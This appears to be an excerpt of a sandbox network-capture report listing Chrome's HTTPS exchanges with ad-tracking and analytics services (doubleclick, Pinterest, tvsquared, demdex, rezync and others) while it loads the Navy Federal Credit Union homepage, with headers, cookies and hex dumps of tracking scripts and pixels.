2024-05-24 22:46:02 UTC	12157	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6c 65 74 20 63 3d 6e 75 6c 6c 3b 63 6f 6e 73 74 20 6c 3d 5b 22 64 65 62 75 67 22 2c 22 69 6e 66 6f 22 2c 22 77 61 72 6e 22 2c 22 65 72 72 6f 72 22 5d 3b 6c 65 74 20 73 3d 6c 2e 72 65 64 75 63 65 28 28 65 2c 64 2c 61 29 3d 3e 28 65 5b 64 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 64 65 62 75 67 22 3d 3d 3d 64 3f 22 6c 6f 67 22 3a 64 3b 69 66 28 63 26 26 63 6f 6e 73 6f 6c 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 5b 65 5d 29 7b 76 61 72 20 74 3d 6c 2e 69 6e 64 65 78 4f 66 28 63 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 69 66 28 21 30 3d 3d 3d 63 7c 7c 2d 31 3c 74 26 Data Ascii: !function(){"use strict";let c=null;const l=["debug","info","warn","error"];let s=l.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=l.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49894	35.204.89.238	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:01 UTC	568	OUT	GET /sifitag/601005f1-638d-45e3-9d29-e04168bb80b3 HTTP/1.1 Host: tag.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:02 UTC	690	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:01 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3101 Connection: close Vary: Accept-Encoding Set-Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; Path=/; domain=simpli.fi; Expires=Sun, 25-May-25 22:46:01 GMT; SameSite=none; Secure; Set-Cookie: suid_legacy=4F23F6C2C1D4438DAA81302CEEAB3C45; Path=/; domain=simpli.fi; Expires=Sun, 25-May-25 22:46:01 GMT; Secure; cache-control: max-age=0, private, must-revalidate x-request-id: F9KOM_SDirhsDZdzWAFB Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT
2024-05-24 22:46:02 UTC	3101	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 70 61 72 73 65 49 6e 74 28 28 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 22 6c 6f 63 61 6c 22 29 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 31 30 29 2c 33 36 29 2c 63 3d 22 73 69 66 69 5f 61 74 74 5f 22 2b 62 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 5b 63 5d 29 72 65 74 75 72 6e 20 76 6f 69 64 20 61 5b 63 5d 2e 72 75 6e 28 29 3b 63 6c 61 73 73 20 53 69 66 69 43 6d 70 43 6f 6d 70 6c 69 61 6e 63 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 74 63 44 61 74 61 3d 61 2c 74 68 69 73 2e 73 69 66 69 56 65 6e 64 6f 72 49 64 3d 22 37 33 22 7d 63 68 65 63 6b 43 6f 6e 73 65 6e 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 75 74 4f 66 42 61 6e Data Ascii: (function(a){var b=parseInt((location.hostname\|\|"local").substring(0,10),36),c="sifi_att_"+b;if("undefined"!=typeof a[c])return void a[c].run();class SifiCmpCompliance{constructor(a){this.tcData=a,this.sifiVendorId="73"}checkConsent(){return this.outOfBan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49902	54.171.118.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	838	OUT	GET /ibs:dpid=903&dpuuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Daam HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=15028710952493579300771312513576972253; dpm=15028710952493579300771312513576972253
2024-05-24 22:46:02 UTC	901	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:02 GMT Content-Length: 0 Connection: close X-TID: 415ME2lQR+o= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=aam DCS: dcs-prod-irl1-2-v061-05f383c61.edge-irl1.demdex.com 2 ms set-cookie: dpm=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:46:02 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:46:02 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49901	104.115.82.33	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	745	OUT	GET /pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height=;ip=8.46.123.175;cuidchk=1 HTTP/1.1 Host: trkn.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: barometric[cuid]=cuid_665118a9-1d52-4736-b8e5-2579d93bc663
2024-05-24 22:46:02 UTC	674	IN	HTTP/1.1 200 OK Content-Length: 42 Content-Type: image/gif Pragma: no-cache Date: Fri, 24 May 2024 22:46:02 GMT Connection: close X-Content-Type-Options: nosniff P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: barometric[cuid]=cuid_665118a9-1d52-4736-b8e5-2579d93bc663; expires=Sat, 24-May-2025 22:46:02 GMT; Max-Age=31536000; path=/; SameSite=None; Secure; domain=.trkn.us; Expires: Sun, 9 Nov 1980 12:58:00 GMT Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate Set-Cookie: barometric[idfa]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; SameSite=None; Secure; domain=.trkn.us
2024-05-24 22:46:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49900	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	12009	OUT	GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiAxMTM4MTE1NDUyNjIwNDA4ODI2MwpjdGNfY29udmVyc2lvbl9idWNrZXQ6IDIKYXJjaGV0eXBlX2lkOiAxMgphcmNoZXR5cGVfaWQ6IDEzCmFyY2hldHlwZV9pZDogMTQKYXJjaGV0eXBlX2lkOiAxNQphcmNoZXR5cGVfaWQ6IDE2CmFyY2hldHlwZV9pZDogMTcKYXJjaGV0eXBlX2lkOiAxOAphcmNoZXR5cGVfaWQ6IDE5CmFyY2hldHlwZV9pZDogMjAKYXJjaGV0eXBlX2lkOiAyMQphcmNoZXR5cGVfaWQ6IDYyODcyODM4OAphcmNoZXR5cGVfaWQ6IDYyODcyODM4OQphcmNoZXR5cGVfaWQ6IDYyODcyODM5MAphcmNoZXR5cGVfaWQ6IDYyODcyODM5MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MAphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MgphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MgphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NAphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NQphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOAphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOQphcmNoZXR5cGVfaWQ6IDYyODc5MDYxMAphcmNoZXR5cGVfaWQ6IDYyODc5MDYxMQphc [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:02 UTC	11848	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:02 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-OS-Trigger: "https://ad.doubleclick.net/ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiAxMTM4MTE1NDUyNjIwNDA4ODI2MwpjdGNfY29udmVyc2lvbl9idWNrZXQ6IDIKYXJjaGV0eXBlX2lkOiAxMgphcmNoZXR5cGVfaWQ6IDEzCmFyY2hldHlwZV9pZDogMTQKYXJjaGV0eXBlX2lkOiAxNQphcmNoZXR5cGVfaWQ6IDE2CmFyY2hldHlwZV9pZDogMTcKYXJjaGV0eXBlX2lkOiAxOAphcmNoZXR5cGVfaWQ6IDE5CmFyY2hldHlwZV9pZDogMjAKYXJjaGV0eXBlX2lkOiAyMQphcmNoZXR5cGVfaWQ6IDYyODcyODM4OAphcmNoZXR5cGVfaWQ6IDYyODcyODM4OQphcmNoZXR5cGVfaWQ6IDYyODcyODM5MAphcmNoZXR5cGVfaWQ6IDYyODcyODM5MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MAphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MgphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MgphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NAphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NQphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOAphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOQp [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * Location: https://adservice.google.com/ddm/fls/z/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49906	52.14.63.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	999	OUT	GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=104600&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=1&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:02 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:02 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 7fe0c6e6-8d85-4c3c-a127-15982b852935 Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49907	52.14.63.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	999	OUT	GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=270625&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:02 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:02 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: b48b0285-b2b9-40df-a132-1ef4f643b96e Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49909	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	605	OUT	GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZ1d2ozeHFNMjhYaTcyMXN3eFJFbHdzZ1VvaCt5UzFWczA4c3BIcjh5ZHpmUmlEWXFZdzhGWEVkNGxCOUhaYWdieE9sNDZkODhKcGxKdTFrVkRLdnRrMWtkYkQ1WkQ4NDI1UkRmdjE2UnIxTT0mMWhscGEzTloyMDMvSndQd2xPRGxsb2FyS3JJPQ=="
2024-05-24 22:46:02 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:02 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZIRnl5TnMrYWJFMEtETE5QcVV6RFVwSjIzdnhUbzdheERoa1lGSzRQNTArKzlrK0FOdTg0dkdEcUtGSEwzcHdIeFJrdXgyZmdZRlh5QXVSSEZML05wUkZOUDlLTVRSa2c1d2NBZVAxY3hZOD0mOUlBbWZaQldvd0YzVzFWUHRIYjB5QkNGRkVBPQ=="; Expires=Sat, 24 May 2025 22:46:02 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 0 referrer-policy: origin x-pinterest-rid: 7528114735805556 Date: Fri, 24 May 2024 22:46:02 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49908	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	620	OUT	GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZ1d2ozeHFNMjhYaTcyMXN3eFJFbHdzZ1VvaCt5UzFWczA4c3BIcjh5ZHpmUmlEWXFZdzhGWEVkNGxCOUhaYWdieE9sNDZkODhKcGxKdTFrVkRLdnRrMWtkYkQ1WkQ4NDI1UkRmdjE2UnIxTT0mMWhscGEzTloyMDMvSndQd2xPRGxsb2FyS3JJPQ=="
2024-05-24 22:46:02 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:02 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZEc2tUWnRQdjcxZ2g5UzZMWUFFVE1Kb2FWa2ZsZXdhdEY0blBnbG5tZ0tRQnIyOXJndUQ1bndzRWpUd0c2VEtzV3diUHdISEt0OURnQllyZEJXU2Yrd0o1T0FaMHRFeC9vZEtXa0lQQm9qbz0mckIrUExJZUtpTHRIaXl4bUR6djhjUUhTNXVvPQ=="; Expires=Sat, 24 May 2025 22:46:02 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 1 referrer-policy: origin x-pinterest-rid: 1597800827670351 Date: Fri, 24 May 2024 22:46:02 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49920	216.239.36.54	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	391	OUT	GET /pdst-events-prod-sink HTTP/1.1 Host: us-central1-adaptive-growth.cloudfunctions.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	435	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Accept Access-Control-Allow-Methods: GET, POST Content-Type: text/html; charset=utf-8 Function-Execution-Id: htgx2ijd4e7b X-Cloud-Trace-Context: 327e2990d23c9d5d6c2fbd29e61e6546 Date: Fri, 24 May 2024 22:46:02 GMT Server: Google Frontend Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:03 UTC	2	IN	Data Raw: 3c 33 Data Ascii: <3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49904	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	932	OUT	GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590758325 HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYpg.W9lPCe2bjG1r2q4j1B4-e8waITE
2024-05-24 22:46:03 UTC	950	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 471 Connection: close Date: Fri, 24 May 2024 22:46:03 GMT Location: https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590763.1485915 Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:03 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYqw.oOFQfCI83FLyB0g-FpIlSekH2uM; Expires=Wed, 18 Jun 2025 22:46:03 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 1d10719558a2481e0d462e12964f647a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: iIPQZIof7qXo-5YwixJh9h_41tfsNRKmkk02MnI_ZNS_FCKRjxEWyg==
2024-05-24 22:46:03 UTC	471	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 36 34 35 38 31 3f 62 69 64 64 65 72 5f 69 64 3d 32 30 30 34 34 32 26 61 6d 70 3b 62 69 64 64 65 72 5f 75 75 69 64 3d 33 35 37 63 32 38 63 33 2d 39 65 66 64 2d 34 65 33 35 2d 38 65 32 30 2d 32 38 38 66 66 38 64 61 34 61 31 61 25 33 41 Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a 